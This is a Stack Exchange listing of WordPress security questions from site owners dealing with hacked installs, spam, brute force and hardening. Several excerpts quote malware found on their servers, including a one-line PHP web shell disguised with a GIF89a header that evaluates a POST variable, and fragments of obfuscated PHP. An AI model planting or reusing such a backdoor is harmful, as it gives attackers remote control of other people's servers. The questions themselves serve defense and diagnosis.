Skip to main content

Questions tagged [wordpress]

WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine. Specific Wordpress questions are best asked at https://wordpress.stackexchange.com

Filter by
Sorted by
Tagged with
29 votes
9 answers
2k views

How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
Nuno Morgadinho's user avatar
42 votes
28 answers
17k views

Discouraging users from copying images off a website?

Let me begin by stating that I'm aware it's extremely tedious or virtually impossible to prevent individuals from pirating content. I'm working on a website for a client who is a relatively well ...
Satej S's user avatar
  • 563
30 votes
2 answers
4k views

WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
Dimitar Yordanov's user avatar
2 votes
1 answer
3k views

Arbitrary file upload, serve JPG as PHP

I'm trying out random older WordPress exploits on my local server, I'm currently in the process trying to get this one to work: https://www.exploit-db.com/exploits/20083/ It doesn't read any headers,...
Stella's user avatar
  • 123
14 votes
3 answers
36k views

How do crackers upload php scripts to Wordpress' wp-content directory?

I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory. Usually this directory is used ...
Thomas's user avatar
  • 243
13 votes
4 answers
8k views

WordPress Brute Force Attacker knows real admin Username

I've noticed a brute force attempt on several different WordPress installs that know the right admin user name for those respective sites... It seems very strange that the hacker would be able to find ...
rm-vanda's user avatar
  • 257
8 votes
3 answers
5k views

Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
SonicWind's user avatar
6 votes
3 answers
14k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
Ben Bibikov's user avatar
1 vote
1 answer
683 views

Fake referer is affecting my google search results

Google search result of my wordpress site is different than original content. We have taken services of security expert and they have scanned the site and database but there is no modification in code ...
Derek's user avatar
  • 89
26 votes
1 answer
9k views

What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jd\x67f\x6f\x77\x6a"]="\x64\x61\x74\x61\x5f\x6bey";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x63\...
Joci93's user avatar
  • 671
6 votes
3 answers
5k views

Storing credit card information for later manual processing

I am rebuilding a clients eCommerce site using Wordpress and WooCommerce as the framework. Their current eCommerce site takes the credit card information and stores it for later manual processing. To "...
Originals's user avatar
6 votes
1 answer
813 views

Google showing spam links on my site

When I search the name of my site on Google, I see site links description which are spammy and not related to my site. Sometimes when I click I get redirect to phishing sites. But I have used many ...
Hooshkar's user avatar
4 votes
1 answer
408 views

Determining how my Wordpress website was compromised

I have got a blog running Wordpress. The last time I visited my blog I realized it was hacked. The website redirects to a phishing page of paypal meanwhile other links a opening fine. I want to know ...
Adil's user avatar
  • 41
4 votes
2 answers
2k views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
Anders's user avatar
  • 151
4 votes
1 answer
368 views

What is a good method to report security breaches that are being used to actively spam?

I received an email the other day purporting to be from a bank I hadn't even heard of, so I decided to poke around. On some quick investigation, it looks like something has just latched onto some poor ...
JBirch's user avatar
  • 151
3 votes
1 answer
253 views

A bot edited all pages on my Wordpress installation

I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained. Now the time has come ...
sch's user avatar
  • 145
3 votes
1 answer
3k views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
kamenjan's user avatar
2 votes
1 answer
681 views

Just another suspiciously looking php script [duplicate]

My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress ...
Jaume Mal's user avatar
  • 123
2 votes
3 answers
3k views

Effectively Pentest a Wordpress Site

When it comes to blackbox pentesting of a Wordpress site, the first thing to come to mind is WPScan [http://wpscan.org/]. While pentesting some sites, I faced a common issue i.e it shows that ...
justtrying123's user avatar
2 votes
2 answers
2k views

Can a hacker determine what version of WordPress and PHP a site is using?

Can a hacker determine what version of WordPress and PHP a site is using? Assume this info is not available by View Source.
Randy Zeitman's user avatar
1 vote
0 answers
1k views

PHP - Need help to understand injected code [duplicate]

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the ...
Jimtrim's user avatar
  • 11
1 vote
1 answer
3k views

Should I be concerned about the WordPress REST API's user enumeration vulnerability?

With the current WordPress API you can get a list of usernames and email addresses of all users in the system with almost no effort: <url>/wp-json/wp/v2/users Outputs something like: [{ "...
Chris Hanson's user avatar
1 vote
1 answer
8k views

WordPress Hacked - Found a suspicious "class-wp-style-table.php" [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...
theLucre's user avatar
1 vote
3 answers
330 views

My Hacked(?) Wordpress Sites

Hi all I'm using a shared hosting and my hosting company is saying my sites have unwanted codes and in report: Your account had been used to attack our/other servers! Your account holds malicious ...
emrece's user avatar
  • 11
0 votes
2 answers
1k views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php $...
Ben Bibikov's user avatar